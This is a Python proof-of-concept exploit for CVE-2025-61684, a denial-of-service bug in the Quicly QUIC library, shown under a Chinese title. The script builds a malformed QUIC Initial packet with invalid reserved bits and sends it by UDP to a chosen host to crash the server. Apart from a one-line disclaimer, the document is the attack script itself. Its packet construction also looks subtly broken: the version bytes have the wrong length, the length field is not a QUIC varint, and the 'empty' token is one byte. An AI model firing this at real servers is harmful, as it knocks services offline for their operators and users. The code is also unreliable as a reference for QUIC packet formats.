CVE-2025-61684 Quicly QUIC协议实现拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-61684 PoC - Quicly QUIC DoS Vulnerability This PoC demonstrates sending a malformed QUIC Initial packet that triggers assertion failure in vulnerable Quicly versions. WARNING: This code is for educational and authorized testing purposes only. """ import socket import struct import random import string def generate_random_bytes(length): """Generate random bytes for QUIC packet fields""" return bytes(random.randint(0, 255) for _ in range(length)) def create_quic_initial_packet(): """ Create a malformed QUIC Initial packet that may trigger assertion failure in vulnerable Quicly versions. QUIC Initial packet structure: - Header form (1 bit) = 1 - Fixed bit (1 bit) = 1 - Long packet type (2 bits) = 0 (Initial) - Reserved bits (2 bits) - Packet number length (2 bits) - Version (32 bits) - Destination Connection ID Length (1 byte) - Destination Connection ID - Source Connection ID Length (1 byte) - Source Connection ID - Token Length (variable) - Length (variable) - Packet Number - Payload (AEAD encrypted) """ # QUIC version (draft-34) version = b'\xff00001d' # Connection IDs dcid_len = 8 dcid = generate_random_bytes(dcid_len) scid_len = 8 scid = generate_random_bytes(scid_len) # Token and Length token = b'\x00' # Empty token token_length = bytes([len(token)]) # Packet number (1 byte) with reserved bits set to trigger issue # Reserved bits = 11, packet number length = 00 # This creates an invalid state that may trigger assertion pn_length = 1 packet_number = generate_random_bytes(pn_length) #伪造Payload (simplified - real implementation requires AEAD) payload = generate_random_bytes(32) # Length field - total length of packet number + payload length = struct.pack('!Q', len(packet_number) + len(payload)) # First byte: header form(1) + fixed bit(1) + type(2) + reserved(2) + pn len(2) # Initial packet type = 0 # Set reserved bits to invalid value (0b11 = 3) to trigger assertion first_byte = (1 << 7) | (1 << 6) | (0 << 4) | (3 << 2) | (pn_length - 1) packet = bytes([first_byte]) packet += version packet += bytes([dcid_len]) packet += dcid packet += bytes([scid_len]) packet += scid packet += token_length packet += token packet += length packet += packet_number packet += payload return packet def send_exploit(target_ip, target_port=443): """ Send the exploit packet to target Quicly server """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_quic_initial_packet() try: print(f"[*] Sending malformed QUIC Initial packet to {target_ip}:{target_port}") print(f"[*] Packet size: {len(packet)} bytes") sock.sendto(packet, (target_ip, target_port)) print(f"[+] Packet sent successfully") print(f"[*] If target is running vulnerable Quicly version,") print(f" this may trigger assertion failure and crash the process") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve_2025_61684_poc.py <target_ip> [port]") print("Example: python3 cve_2025_61684_poc.py 192.168.1.100 443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 send_exploit(target, port)